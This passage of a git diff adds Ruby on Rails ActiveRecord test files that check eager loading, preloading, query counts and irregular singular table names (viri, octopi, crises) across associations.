+    assert_queries(0) do
+      res.each do |se|
+        assert_not_nil se.paint.non_poly, "this is the association that was loading incorrectly before the change"
+        assert_not_nil se.shape, "just making sure other associations still work"
+      end
+    end
+  end
+end
+
+class EagerLoadNestedIncludeWithMissingDataTest < ActiveRecord::TestCase
+  def setup
+    @davey_mcdave = Author.create(name: "Davey McDave")
+    @first_post = @davey_mcdave.posts.create(title: "Davey Speaks", body: "Expressive wordage")
+    @first_comment = @first_post.comments.create(body: "Inflamatory doublespeak")
+    @first_categorization = @davey_mcdave.categorizations.create(category: Category.first, post: @first_post)
+  end
+
+  teardown do
+    @davey_mcdave.destroy
+    @first_post.destroy
+    @first_comment.destroy
+    @first_categorization.destroy
+  end
+
+  def test_missing_data_in_a_nested_include_should_not_cause_errors_when_constructing_objects
+    assert_nothing_raised do
+      # @davey_mcdave doesn't have any author_favorites
+      includes = { posts: :comments, categorizations: :category, author_favorites: :favorite_author }
+      Author.all.merge!(includes: includes, where: { authors: { name: @davey_mcdave.name } }, order: "categories.name").to_a
+    end
+  end
+end
diff --git a/activerecord/test/cases/associations/eager_singularization_test.rb b/activerecord/test/cases/associations/eager_singularization_test.rb
new file mode 100644
index 0000000000..420a5a805b
--- /dev/null
+++ b/activerecord/test/cases/associations/eager_singularization_test.rb
@@ -0,0 +1,148 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class EagerSingularizationTest < ActiveRecord::TestCase
+  class Virus < ActiveRecord::Base
+    belongs_to :octopus
+  end
+
+  class Octopus < ActiveRecord::Base
+    has_one :virus
+  end
+
+  class Pass < ActiveRecord::Base
+    belongs_to :bus
+  end
+
+  class Bus < ActiveRecord::Base
+    has_many :passes
+  end
+
+  class Mess < ActiveRecord::Base
+    has_and_belongs_to_many :crises
+  end
+
+  class Crisis < ActiveRecord::Base
+    has_and_belongs_to_many :messes
+    has_many :analyses, dependent: :destroy
+    has_many :successes, through: :analyses
+    has_many :dresses, dependent: :destroy
+    has_many :compresses, through: :dresses
+  end
+
+  class Analysis < ActiveRecord::Base
+    belongs_to :crisis
+    belongs_to :success
+  end
+
+  class Success < ActiveRecord::Base
+    has_many :analyses, dependent: :destroy
+    has_many :crises, through: :analyses
+  end
+
+  class Dress < ActiveRecord::Base
+    belongs_to :crisis
+    has_many :compresses
+  end
+
+  class Compress < ActiveRecord::Base
+    belongs_to :dress
+  end
+
+  def setup
+    connection.create_table :viri do |t|
+      t.column :octopus_id, :integer
+      t.column :species, :string
+    end
+    connection.create_table :octopi do |t|
+      t.column :species, :string
+    end
+    connection.create_table :passes do |t|
+      t.column :bus_id, :integer
+      t.column :rides, :integer
+    end
+    connection.create_table :buses do |t|
+      t.column :name, :string
+    end
+    connection.create_table :crises_messes, id: false do |t|
+      t.column :crisis_id, :integer
+      t.column :mess_id, :integer
+    end
+    connection.create_table :messes do |t|
+      t.column :name, :string
+    end
+    connection.create_table :crises do |t|
+      t.column :name, :string
+    end
+    connection.create_table :successes do |t|
+      t.column :name, :string
+    end
+    connection.create_table :analyses do |t|
+      t.column :crisis_id, :integer
+      t.column :success_id, :integer
+    end
+    connection.create_table :dresses do |t|
+      t.column :crisis_id, :integer
+    end
+    connection.create_table :compresses do |t|
+      t.column :dress_id, :integer
+    end
+  end
+
+  teardown do
+    connection.drop_table :viri
+    connection.drop_table :octopi
+    connection.drop_table :passes
+    connection.drop_table :buses
+    connection.drop_table :crises_messes
+    connection.drop_table :messes
+    connection.drop_table :crises
+    connection.drop_table :successes
+    connection.drop_table :analyses
+    connection.drop_table :dresses
+    connection.drop_table :compresses
+  end
+
+  def test_eager_no_extra_singularization_belongs_to
+    assert_nothing_raised do
+      Virus.all.merge!(includes: :octopus).to_a
+    end
+  end
+
+  def test_eager_no_extra_singularization_has_one
+    assert_nothing_raised do
+      Octopus.all.merge!(includes: :virus).to_a
+    end
+  end
+
+  def test_eager_no_extra_singularization_has_many
+    assert_nothing_raised do
+      Bus.all.merge!(includes: :passes).to_a
+    end
+  end
+
+  def test_eager_no_extra_singularization_has_and_belongs_to_many
+    assert_nothing_raised do
+      Crisis.all.merge!(includes: :messes).to_a
+      Mess.all.merge!(includes: :crises).to_a
+    end
+  end
+
+  def test_eager_no_extra_singularization_has_many_through_belongs_to
+    assert_nothing_raised do
+      Crisis.all.merge!(includes: :successes).to_a
+    end
+  end
+
+  def test_eager_no_extra_singularization_has_many_through_has_many
+    assert_nothing_raised do
+      Crisis.all.merge!(includes: :compresses).to_a
+    end
+  end
+
+  private
+    def connection
+      ActiveRecord::Base.connection
+    end
+end
diff --git a/activerecord/test/cases/associations/eager_test.rb b/activerecord/test/cases/associations/eager_test.rb
new file mode 100644
index 0000000000..1f5f9eddb5
--- /dev/null
+++ b/activerecord/test/cases/associations/eager_test.rb
@@ -0,0 +1,1494 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "models/tagging"
+require "models/tag"
+require "models/comment"
+require "models/author"
+require "models/essay"
+require "models/category"
+require "models/company"
+require "models/person"
+require "models/reader"
+require "models/owner"
+require "models/pet"
+require "models/reference"
+require "models/job"
+require "models/subscriber"
+require "models/subscription"
+require "models/book"
+require "models/developer"
+require "models/computer"
+require "models/project"
+require "models/member"
+require "models/membership"
+require "models/club"
+require "models/categorization"
+require "models/sponsor"
+require "models/mentor"
+require "models/contract"
+
+class EagerAssociationTest < ActiveRecord::TestCase
+  fixtures :posts, :comments, :authors, :essays, :author_addresses, :categories, :categories_posts,
+            :companies, :accounts, :tags, :taggings, :people, :readers, :categorizations,
+            :owners, :pets, :author_favorites, :jobs, :references, :subscribers, :subscriptions, :books,
+            :developers, :projects, :developers_projects, :members, :memberships, :clubs, :sponsors
+
+  def test_eager_with_has_one_through_join_model_with_conditions_on_the_through
+    member = Member.all.merge!(includes: :favourite_club).find(members(:some_other_guy).id)
+    assert_nil member.favourite_club
+  end
+
+  def test_loading_with_one_association
+    posts = Post.all.merge!(includes: :comments).to_a
+    post = posts.find { |p| p.id == 1 }
+    assert_equal 2, post.comments.size
+    assert_includes post.comments, comments(:greetings)
+
+    post = Post.all.merge!(includes: :comments, where: "posts.title = 'Welcome to the weblog'").first
+    assert_equal 2, post.comments.size
+    assert_includes post.comments, comments(:greetings)
+
+    posts = Post.all.merge!(includes: :last_comment).to_a
+    post = posts.find { |p| p.id == 1 }
+    assert_equal Post.find(1).last_comment, post.last_comment
+  end
+
+  def test_loading_with_one_association_with_non_preload
+    posts = Post.all.merge!(includes: :last_comment, order: "comments.id DESC").to_a
+    post = posts.find { |p| p.id == 1 }
+    assert_equal Post.find(1).last_comment, post.last_comment
+  end
+
+  def test_loading_conditions_with_or
+    posts = authors(:david).posts.references(:comments).merge(
+      includes: :comments,
+      where: "comments.body like 'Normal%' OR comments.#{QUOTED_TYPE} = 'SpecialComment'"
+    ).to_a
+    assert_nil posts.detect { |p| p.author_id != authors(:david).id },
+      "expected to find only david's posts"
+  end
+
+  def test_loading_with_scope_including_joins
+    assert_equal clubs(:boring_club), Member.preload(:general_club).find(1).general_club
+    assert_equal clubs(:boring_club), Member.eager_load(:general_club).find(1).general_club
+  end
+
+  def test_with_ordering
+    list = Post.all.merge!(includes: :comments, order: "posts.id DESC").to_a
+    [:other_by_mary, :other_by_bob, :misc_by_mary, :misc_by_bob, :eager_other,
+     :sti_habtm, :sti_post_and_comments, :sti_comments, :authorless, :thinking, :welcome
+    ].each_with_index do |post, index|
+      assert_equal posts(post), list[index]
+    end
+  end
+
+  def test_has_many_through_with_order
+    authors = Author.includes(:favorite_authors).to_a
+    assert authors.count > 0
+    assert_no_queries { authors.map(&:favorite_authors) }
+  end
+
+  def test_eager_loaded_has_one_association_with_references_does_not_run_additional_queries
+    Post.update_all(author_id: nil)
+    authors = Author.includes(:post).references(:post).to_a
+    assert authors.count > 0
+    assert_no_queries { authors.map(&:post) }
+  end
+
+  def test_calculate_with_string_in_from_and_eager_loading
+    assert_equal 10, Post.from("authors, posts").eager_load(:comments).where("posts.author_id = authors.id").count
+  end
+
+  def test_with_two_tables_in_from_without_getting_double_quoted
+    posts = Post.select("posts.*").from("authors, posts").eager_load(:comments).where("posts.author_id = authors.id").order("posts.id").to_a
+    assert_equal 2, posts.first.comments.size
+  end
+
+  def test_loading_with_multiple_associations
+    posts = Post.all.merge!(includes: [ :comments, :author, :categories ], order: "posts.id").to_a
+    assert_equal 2, posts.first.comments.size
+    assert_equal 2, posts.first.categories.size
+    assert_includes posts.first.comments, comments(:greetings)
+  end
+
+  def test_duplicate_middle_objects
+    comments = Comment.all.merge!(where: "post_id = 1", includes: [post: :author]).to_a
+    assert_no_queries do
+      comments.each { |comment| comment.post.author.name }
+    end
+  end
+
+  def test_preloading_has_many_in_multiple_queries_with_more_ids_than_database_can_handle
+    assert_called(Comment.connection, :in_clause_length, returns: 5) do
+      posts = Post.all.merge!(includes: :comments).to_a
+      assert_equal 11, posts.size
+    end
+  end
+
+  def test_preloading_has_many_in_one_queries_when_database_has_no_limit_on_ids_it_can_handle
+    assert_called(Comment.connection, :in_clause_length, returns: nil) do
+      posts = Post.all.merge!(includes: :comments).to_a
+      assert_equal 11, posts.size
+    end
+  end
+
+  def test_preloading_habtm_in_multiple_queries_with_more_ids_than_database_can_handle
+    assert_called(Comment.connection, :in_clause_length, times: 2, returns: 5) do
+      posts = Post.all.merge!(includes: :categories).to_a
+      assert_equal 11, posts.size
+    end
+  end
+
+  def test_preloading_habtm_in_one_queries_when_database_has_no_limit_on_ids_it_can_handle
+    assert_called(Comment.connection, :in_clause_length, times: 2, returns: nil) do
+      posts = Post.all.merge!(includes: :categories).to_a
+      assert_equal 11, posts.size
+    end
+  end
+
+  def test_load_associated_records_in_one_query_when_adapter_has_no_limit
+    assert_called(Comment.connection, :in_clause_length, returns: nil) do
+      post = posts(:welcome)
+      assert_queries(2) do
+        Post.includes(:comments).where(id: post.id).to_a
+      end
+    end
+  end
+
+  def test_load_associated_records_in_several_queries_when_many_ids_passed
+    assert_called(Comment.connection, :in_clause_length, returns: 1) do
+      post1, post2 = posts(:welcome), posts(:thinking)
+      assert_queries(3) do
+        Post.includes(:comments).where(id: [post1.id, post2.id]).to_a
+      end
+    end
+  end
+
+  def test_load_associated_records_in_one_query_when_a_few_ids_passed
+    assert_called(Comment.connection, :in_clause_length, returns: 3) do
+      post = posts(:welcome)
+      assert_queries(2) do
+        Post.includes(:comments).where(id: post.id).to_a
+      end
+    end
+  end
+
+  def test_including_duplicate_objects_from_belongs_to
+    popular_post = Post.create!(title: "foo", body: "I like cars!")
+    comment = popular_post.comments.create!(body: "lol")
+    popular_post.readers.create!(person: people(:michael))
+    popular_post.readers.create!(person: people(:david))
+
+    readers = Reader.all.merge!(where: ["post_id = ?", popular_post.id],
+                                includes: { post: :comments }).to_a
+    readers.each do |reader|
+      assert_equal [comment], reader.post.comments
+    end
+  end
+
+  def test_including_duplicate_objects_from_has_many
+    car_post = Post.create!(title: "foo", body: "I like cars!")
+    car_post.categories << categories(:general)
+    car_post.categories << categories(:technology)
+
+    comment = car_post.comments.create!(body: "hmm")
+    categories = Category.all.merge!(where: { "posts.id" => car_post.id },
+                                 includes: { posts: :comments }).to_a
+    categories.each do |category|
+      assert_equal [comment], category.posts[0].comments
+    end
+  end
+
+  def test_associations_loaded_for_all_records
+    post = Post.create!(title: "foo", body: "I like cars!")
+    SpecialComment.create!(body: "Come on!", post: post)
+    first_category = Category.create! name: "First!", posts: [post]
+    second_category = Category.create! name: "Second!", posts: [post]
+
+    categories = Category.where(id: [first_category.id, second_category.id]).includes(posts: :special_comments)
+    assert_equal categories.map { |category| category.posts.first.special_comments.loaded? }, [true, true]
+  end
+
+  def test_finding_with_includes_on_has_many_association_with_same_include_includes_only_once
+    author_id = authors(:david).id
+    author = assert_queries(3) { Author.all.merge!(includes: { posts_with_comments: :comments }).find(author_id) } # find the author, then find the posts, then find the comments
+    author.posts_with_comments.each do |post_with_comments|
+      assert_equal post_with_comments.comments.length, post_with_comments.comments.count
+      assert_nil post_with_comments.comments.to_a.uniq!
+    end
+  end
+
+  def test_finding_with_includes_on_has_one_association_with_same_include_includes_only_once
+    author = authors(:david)
+    post = author.post_about_thinking_with_last_comment
+    last_comment = post.last_comment
+    author = assert_queries(3) { Author.all.merge!(includes: { post_about_thinking_with_last_comment: :last_comment }).find(author.id) } # find the author, then find the posts, then find the comments
+    assert_no_queries do
+      assert_equal post, author.post_about_thinking_with_last_comment
+      assert_equal last_comment, author.post_about_thinking_with_last_comment.last_comment
+    end
+  end
+
+  def test_finding_with_includes_on_belongs_to_association_with_same_include_includes_only_once
+    post = posts(:welcome)
+    author = post.author
+    author_address = author.author_address
+    post = assert_queries(3) { Post.all.merge!(includes: { author_with_address: :author_address }).find(post.id) } # find the post, then find the author, then find the address
+    assert_no_queries do
+      assert_equal author, post.author_with_address
+      assert_equal author_address, post.author_with_address.author_address
+    end
+  end
+
+  def test_finding_with_includes_on_null_belongs_to_association_with_same_include_includes_only_once
+    post = posts(:welcome)
+    post.update!(author: nil)
+    post = assert_queries(1) { Post.all.merge!(includes: { author_with_address: :author_address }).find(post.id) }
+    # find the post, then find the author which is null so no query for the author or address
+    assert_no_queries do
+      assert_nil post.author_with_address
+    end
+  end
+
+  def test_finding_with_includes_on_null_belongs_to_polymorphic_association
+    sponsor = sponsors(:moustache_club_sponsor_for_groucho)
+    sponsor.update!(sponsorable: nil)
+    sponsor = assert_queries(1) { Sponsor.all.merge!(includes: :sponsorable).find(sponsor.id) }
+    assert_no_queries do
+      assert_nil sponsor.sponsorable
+    end
+  end
+
+  def test_finding_with_includes_on_empty_polymorphic_type_column
+    sponsor = sponsors(:moustache_club_sponsor_for_groucho)
+    sponsor.update!(sponsorable_type: "", sponsorable_id: nil) # sponsorable_type column might be declared NOT NULL
+    sponsor = assert_queries(1) do
+      assert_nothing_raised { Sponsor.all.merge!(includes: :sponsorable).find(sponsor.id) }
+    end
+    assert_no_queries do
+      assert_nil sponsor.sponsorable
+    end
+  end
+
+  def test_loading_from_an_association
+    posts = authors(:david).posts.merge(includes: :comments, order: "posts.id").to_a
+    assert_equal 2, posts.first.comments.size
+  end
+
+  def test_loading_from_an_association_that_has_a_hash_of_conditions
+    assert !Author.all.merge!(includes: :hello_posts_with_hash_conditions).find(authors(:david).id).hello_posts.empty?
+  end
+
+  def test_loading_with_no_associations
+    assert_nil Post.all.merge!(includes: :author).find(posts(:authorless).id).author
+  end
+
+  # Regression test for 21c75e5
+  def test_nested_loading_does_not_raise_exception_when_association_does_not_exist
+    assert_nothing_raised do
+      Post.all.merge!(includes: { author: :author_addresss }).find(posts(:authorless).id)
+    end
+  end
+
+  def test_three_level_nested_preloading_does_not_raise_exception_when_association_does_not_exist
+    post_id = Comment.where(author_id: nil).where.not(post_id: nil).first.post_id
+
+    assert_nothing_raised do
+      Post.preload(comments: [{ author: :essays }]).find(post_id)
+    end
+  end
+
+  def test_nested_loading_through_has_one_association
+    aa = AuthorAddress.all.merge!(includes: { author: :posts }).find(author_addresses(:david_address).id)
+    assert_equal aa.author.posts.count, aa.author.posts.length
+  end
+
+  def test_nested_loading_through_has_one_association_with_order
+    aa = AuthorAddress.all.merge!(includes: { author: :posts }, order: "author_addresses.id").find(author_addresses(:david_address).id)
+    assert_equal aa.author.posts.count, aa.author.posts.length
+  end
+
+  def test_nested_loading_through_has_one_association_with_order_on_association
+    aa = AuthorAddress.all.merge!(includes: { author: :posts }, order: "authors.id").find(author_addresses(:david_address).id)
+    assert_equal aa.author.posts.count, aa.author.posts.length
+  end
+
+  def test_nested_loading_through_has_one_association_with_order_on_nested_association
+    aa = AuthorAddress.all.merge!(includes: { author: :posts }, order: "posts.id").find(author_addresses(:david_address).id)
+    assert_equal aa.author.posts.count, aa.author.posts.length
+  end
+
+  def test_nested_loading_through_has_one_association_with_conditions
+    aa = AuthorAddress.references(:author_addresses).merge(
+      includes: { author: :posts },
+      where: "author_addresses.id > 0"
+    ).find author_addresses(:david_address).id
+    assert_equal aa.author.posts.count, aa.author.posts.length
+  end
+
+  def test_nested_loading_through_has_one_association_with_conditions_on_association
+    aa = AuthorAddress.references(:authors).merge(
+      includes: { author: :posts },
+      where: "authors.id > 0"
+    ).find author_addresses(:david_address).id
+    assert_equal aa.author.posts.count, aa.author.posts.length
+  end
+
+  def test_nested_loading_through_has_one_association_with_conditions_on_nested_association
+    aa = AuthorAddress.references(:posts).merge(
+      includes: { author: :posts },
+      where: "posts.id > 0"
+    ).find author_addresses(:david_address).id
+    assert_equal aa.author.posts.count, aa.author.posts.length
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_foreign_keys
+    pets = Pet.all.merge!(includes: :owner).to_a
+    assert_equal 4, pets.length
+  end
+
+  def test_eager_association_loading_with_belongs_to
+    comments = Comment.all.merge!(includes: :post).to_a
+    assert_equal 11, comments.length
+    titles = comments.map { |c| c.post.title }
+    assert_includes titles, posts(:welcome).title
+    assert_includes titles, posts(:sti_post_and_comments).title
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_limit
+    comments = Comment.all.merge!(includes: :post, limit: 5, order: "comments.id").to_a
+    assert_equal 5, comments.length
+    assert_equal [1, 2, 3, 5, 6], comments.collect(&:id)
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_limit_and_conditions
+    comments = Comment.all.merge!(includes: :post, where: "post_id = 4", limit: 3, order: "comments.id").to_a
+    assert_equal 3, comments.length
+    assert_equal [5, 6, 7], comments.collect(&:id)
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_limit_and_offset
+    comments = Comment.all.merge!(includes: :post, limit: 3, offset: 2, order: "comments.id").to_a
+    assert_equal 3, comments.length
+    assert_equal [3, 5, 6], comments.collect(&:id)
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_conditions
+    comments = Comment.all.merge!(includes: :post, where: "post_id = 4", limit: 3, offset: 1, order: "comments.id").to_a
+    assert_equal 3, comments.length
+    assert_equal [6, 7, 8], comments.collect(&:id)
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_conditions_array
+    comments = Comment.all.merge!(includes: :post, where: ["post_id = ?", 4], limit: 3, offset: 1, order: "comments.id").to_a
+    assert_equal 3, comments.length
+    assert_equal [6, 7, 8], comments.collect(&:id)
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_conditions_string_with_unquoted_table_name
+    assert_nothing_raised do
+      Comment.includes(:post).references(:posts).where("posts.id = ?", 4)
+    end
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_conditions_hash
+    comments = []
+    assert_nothing_raised do
+      comments = Comment.all.merge!(includes: :post, where: { posts: { id: 4 } }, limit: 3, order: "comments.id").to_a
+    end
+    assert_equal 3, comments.length
+    assert_equal [5, 6, 7], comments.collect(&:id)
+    assert_no_queries do
+      comments.first.post
+    end
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_conditions_string_with_quoted_table_name
+    quoted_posts_id = Comment.connection.quote_table_name("posts") + "." + Comment.connection.quote_column_name("id")
+    assert_nothing_raised do
+      Comment.includes(:post).references(:posts).where("#{quoted_posts_id} = ?", 4)
+    end
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_order_string_with_unquoted_table_name
+    assert_nothing_raised do
+      Comment.all.merge!(includes: :post, order: "posts.id").to_a
+    end
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_order_string_with_quoted_table_name
+    quoted_posts_id = Comment.connection.quote_table_name("posts") + "." + Comment.connection.quote_column_name("id")
+    assert_nothing_raised do
+      Comment.includes(:post).references(:posts).order(quoted_posts_id)
+    end
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_limit_and_multiple_associations
+    posts = Post.all.merge!(includes: [:author, :very_special_comment], limit: 1, order: "posts.id").to_a
+    assert_equal 1, posts.length
+    assert_equal [1], posts.collect(&:id)
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_multiple_associations
+    posts = Post.all.merge!(includes: [:author, :very_special_comment], limit: 1, offset: 1, order: "posts.id").to_a
+    assert_equal 1, posts.length
+    assert_equal [2], posts.collect(&:id)
+  end
+
+  def test_eager_association_loading_with_belongs_to_inferred_foreign_key_from_association_name
+    author_favorite = AuthorFavorite.all.merge!(includes: :favorite_author).first
+    assert_equal authors(:mary), assert_no_queries { author_favorite.favorite_author }
+  end
+
+  def test_eager_load_belongs_to_quotes_table_and_column_names
+    job = Job.includes(:ideal_reference).find jobs(:unicyclist).id
+    references(:michael_unicyclist)
+    assert_no_queries { assert_equal references(:michael_unicyclist), job.ideal_reference }
+  end
+
+  def test_eager_load_has_one_quotes_table_and_column_names
+    michael = Person.all.merge!(includes: :favourite_reference).find(people(:michael).id)
+    references(:michael_unicyclist)
+    assert_no_queries { assert_equal references(:michael_unicyclist), michael.favourite_reference }
+  end
+
+  def test_eager_load_has_many_quotes_table_and_column_names
+    michael = Person.all.merge!(includes: :references).find(people(:michael).id)
+    references(:michael_magician, :michael_unicyclist)
+    assert_no_queries { assert_equal references(:michael_magician, :michael_unicyclist), michael.references.sort_by(&:id) }
+  end
+
+  def test_eager_load_has_many_through_quotes_table_and_column_names
+    michael = Person.all.merge!(includes: :jobs).find(people(:michael).id)
+    jobs(:magician, :unicyclist)
+    assert_no_queries { assert_equal jobs(:unicyclist, :magician), michael.jobs.sort_by(&:id) }
+  end
+
+  def test_eager_load_has_many_with_string_keys
+    subscriptions = subscriptions(:webster_awdr, :webster_rfr)
+    subscriber = Subscriber.all.merge!(includes: :subscriptions).find(subscribers(:second).id)
+    assert_equal subscriptions, subscriber.subscriptions.sort_by(&:id)
+  end
+
+  def test_string_id_column_joins
+    s = Subscriber.create! do |c|
+      c.id = "PL"
+    end
+
+    b = Book.create!
+
+    Subscription.create!(subscriber_id: "PL", book_id: b.id)
+    s.reload
+    s.book_ids = s.book_ids
+  end
+
+  def test_eager_load_has_many_through_with_string_keys
+    books = books(:awdr, :rfr)
+    subscriber = Subscriber.all.merge!(includes: :books).find(subscribers(:second).id)
+    assert_equal books, subscriber.books.sort_by(&:id)
+  end
+
+  def test_eager_load_belongs_to_with_string_keys
+    subscriber = subscribers(:second)
+    subscription = Subscription.all.merge!(includes: :subscriber).find(subscriptions(:webster_awdr).id)
+    assert_equal subscriber, subscription.subscriber
+  end
+
+  def test_eager_association_loading_with_explicit_join
+    posts = Post.all.merge!(includes: :comments, joins: "INNER JOIN authors ON posts.author_id = authors.id AND authors.name = 'Mary'", limit: 1, order: "author_id").to_a
+    assert_equal 1, posts.length
+  end
+
+  def test_eager_with_has_many_through
+    posts_with_comments = people(:michael).posts.merge(includes: :comments, order: "posts.id").to_a
+    posts_with_author = people(:michael).posts.merge(includes: :author, order: "posts.id").to_a
+    posts_with_comments_and_author = people(:michael).posts.merge(includes: [ :comments, :author ], order: "posts.id").to_a
+    assert_equal 2, posts_with_comments.inject(0) { |sum, post| sum + post.comments.size }
+    assert_equal authors(:david), assert_no_queries { posts_with_author.first.author }
+    assert_equal authors(:david), assert_no_queries { posts_with_comments_and_author.first.author }
+  end
+
+  def test_eager_with_has_many_through_a_belongs_to_association
+    author = authors(:mary)
+    Post.create!(author: author, title: "TITLE", body: "BODY")
+    author.author_favorites.create(favorite_author_id: 1)
+    author.author_favorites.create(favorite_author_id: 2)
+    posts_with_author_favorites = author.posts.merge(includes: :author_favorites).to_a
+    assert_no_queries { posts_with_author_favorites.first.author_favorites.first.author_id }
+  end
+
+  def test_eager_with_has_many_through_an_sti_join_model
+    author = Author.all.merge!(includes: :special_post_comments, order: "authors.id").first
+    assert_equal [comments(:does_it_hurt)], assert_no_queries { author.special_post_comments }
+  end
+
+  def test_eager_with_has_many_through_an_sti_join_model_with_conditions_on_both
+    author = Author.all.merge!(includes: :special_nonexistent_post_comments, order: "authors.id").first
+    assert_equal [], author.special_nonexistent_post_comments
+  end
+
+  def test_eager_with_has_many_through_join_model_with_conditions
+    assert_equal Author.all.merge!(includes: :hello_post_comments,
+                             order: "authors.id").first.hello_post_comments.sort_by(&:id),
+                 Author.all.merge!(order: "authors.id").first.hello_post_comments.sort_by(&:id)
+  end
+
+  def test_eager_with_has_many_through_join_model_with_conditions_on_top_level
+    assert_equal comments(:more_greetings), Author.all.merge!(includes: :comments_with_order_and_conditions).find(authors(:david).id).comments_with_order_and_conditions.first
+  end
+
+  def test_eager_with_has_many_through_join_model_with_include
+    author_comments = Author.all.merge!(includes: :comments_with_include).find(authors(:david).id).comments_with_include.to_a
+    assert_no_queries do
+      author_comments.first.post.title
+    end
+  end
+
+  def test_eager_with_has_many_through_with_conditions_join_model_with_include
+    post_tags = Post.find(posts(:welcome).id).misc_tags
+    eager_post_tags = Post.all.merge!(includes: :misc_tags).find(1).misc_tags
+    assert_equal post_tags, eager_post_tags
+  end
+
+  def test_eager_with_has_many_through_join_model_ignores_default_includes
+    assert_nothing_raised do
+      authors(:david).comments_on_posts_with_default_include.to_a
+    end
+  end
+
+  def test_eager_with_has_many_and_limit
+    posts = Post.all.merge!(order: "posts.id asc", includes: [ :author, :comments ], limit: 2).to_a
+    assert_equal 2, posts.size
+    assert_equal 3, posts.inject(0) { |sum, post| sum + post.comments.size }
+  end
+
+  def test_eager_with_has_many_and_limit_and_conditions
+    posts = Post.all.merge!(includes: [ :author, :comments ], limit: 2, where: "posts.body = 'hello'", order: "posts.id").to_a
+    assert_equal 2, posts.size
+    assert_equal [4, 5], posts.collect(&:id)
+  end
+
+  def test_eager_with_has_many_and_limit_and_conditions_array
+    posts = Post.all.merge!(includes: [ :author, :comments ], limit: 2, where: [ "posts.body = ?", "hello" ], order: "posts.id").to_a
+    assert_equal 2, posts.size
+    assert_equal [4, 5], posts.collect(&:id)
+  end
+
+  def test_eager_with_has_many_and_limit_and_conditions_array_on_the_eagers
+    posts = Post.includes(:author, :comments).limit(2).references(:author).where("authors.name = ?", "David")
+    assert_equal 2, posts.size
+
+    count = Post.includes(:author, :comments).limit(2).references(:author).where("authors.name = ?", "David").count
+    assert_equal posts.size, count
+  end
+
+  def test_eager_with_has_many_and_limit_and_high_offset
+    posts = Post.all.merge!(includes: [ :author, :comments ], limit: 2, offset: 10, where: { "authors.name" => "David" }).to_a
+    assert_equal 0, posts.size
+  end
+
+  def test_eager_with_has_many_and_limit_and_high_offset_and_multiple_array_conditions
+    assert_queries(1) do
+      posts = Post.references(:authors, :comments).
+        merge(includes: [ :author, :comments ], limit: 2, offset: 10,
+          where: [ "authors.name = ? and comments.body = ?", "David", "go crazy" ]).to_a
+      assert_equal 0, posts.size
+    end
+  end
+
+  def test_eager_with_has_many_and_limit_and_high_offset_and_multiple_hash_conditions
+    assert_queries(1) do
+      posts = Post.all.merge!(includes: [ :author, :comments ], limit: 2, offset: 10,
+        where: { "authors.name" => "David", "comments.body" => "go crazy" }).to_a
+      assert_equal 0, posts.size
+    end
+  end
+
+  def test_count_eager_with_has_many_and_limit_and_high_offset
+    posts = Post.all.merge!(includes: [ :author, :comments ], limit: 2, offset: 10, where: { "authors.name" => "David" }).count(:all)
+    assert_equal 0, posts
+  end
+
+  def test_eager_with_has_many_and_limit_with_no_results
+    posts = Post.all.merge!(includes: [ :author, :comments ], limit: 2, where: "posts.title = 'magic forest'").to_a
+    assert_equal 0, posts.size
+  end
+
+  def test_eager_count_performed_on_a_has_many_association_with_multi_table_conditional
+    author = authors(:david)
+    author_posts_without_comments = author.posts.select { |post| post.comments.blank? }
+    assert_equal author_posts_without_comments.size, author.posts.includes(:comments).where("comments.id is null").references(:comments).count
+  end
+
+  def test_eager_count_performed_on_a_has_many_through_association_with_multi_table_conditional
+    person = people(:michael)
+    person_posts_without_comments = person.posts.select { |post| post.comments.blank? }
+    assert_equal person_posts_without_comments.size, person.posts_with_no_comments.count
+  end
+
+  def test_eager_with_has_and_belongs_to_many_and_limit
+    posts = Post.all.merge!(includes: :categories, order: "posts.id", limit: 3).to_a
+    assert_equal 3, posts.size
+    assert_equal 2, posts[0].categories.size
+    assert_equal 1, posts[1].categories.size
+    assert_equal 0, posts[2].categories.size
+    assert_includes posts[0].categories, categories(:technology)
+    assert_includes posts[1].categories, categories(:general)
+  end
+
+  # Since the preloader for habtm gets raw row hashes from the database and then
+  # instantiates them, this test ensures that it only instantiates one actual
+  # object per record from the database.
+  def test_has_and_belongs_to_many_should_not_instantiate_same_records_multiple_times
+    welcome    = posts(:welcome)
+    categories = Category.includes(:posts)
+
+    general    = categories.find { |c| c == categories(:general) }
+    technology = categories.find { |c| c == categories(:technology) }
+
+    post1 = general.posts.to_a.find { |p| p == welcome }
+    post2 = technology.posts.to_a.find { |p| p == welcome }
+
+    assert_equal post1.object_id, post2.object_id
+  end
+
+  def test_eager_with_has_many_and_limit_and_conditions_on_the_eagers
+    posts =
+      authors(:david).posts
+        .includes(:comments)
+        .where("comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment'")
+        .references(:comments)
+        .limit(2)
+        .to_a
+    assert_equal 2, posts.size
+
+    count =
+      Post.includes(:comments, :author)
+        .where("authors.name = 'David' AND (comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment')")
+        .references(:authors, :comments)
+        .limit(2)
+        .count
+    assert_equal count, posts.size
+  end
+
+  def test_eager_with_has_many_and_limit_and_scoped_conditions_on_the_eagers
+    posts = nil
+    Post.includes(:comments)
+      .where("comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment'")
+      .references(:comments)
+      .scoping do
+
+      posts = authors(:david).posts.limit(2).to_a
+      assert_equal 2, posts.size
+    end
+
+    Post.includes(:comments, :author)
+      .where("authors.name = 'David' AND (comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment')")
+      .references(:authors, :comments)
+      .scoping do
+
+      count = Post.limit(2).count
+      assert_equal count, posts.size
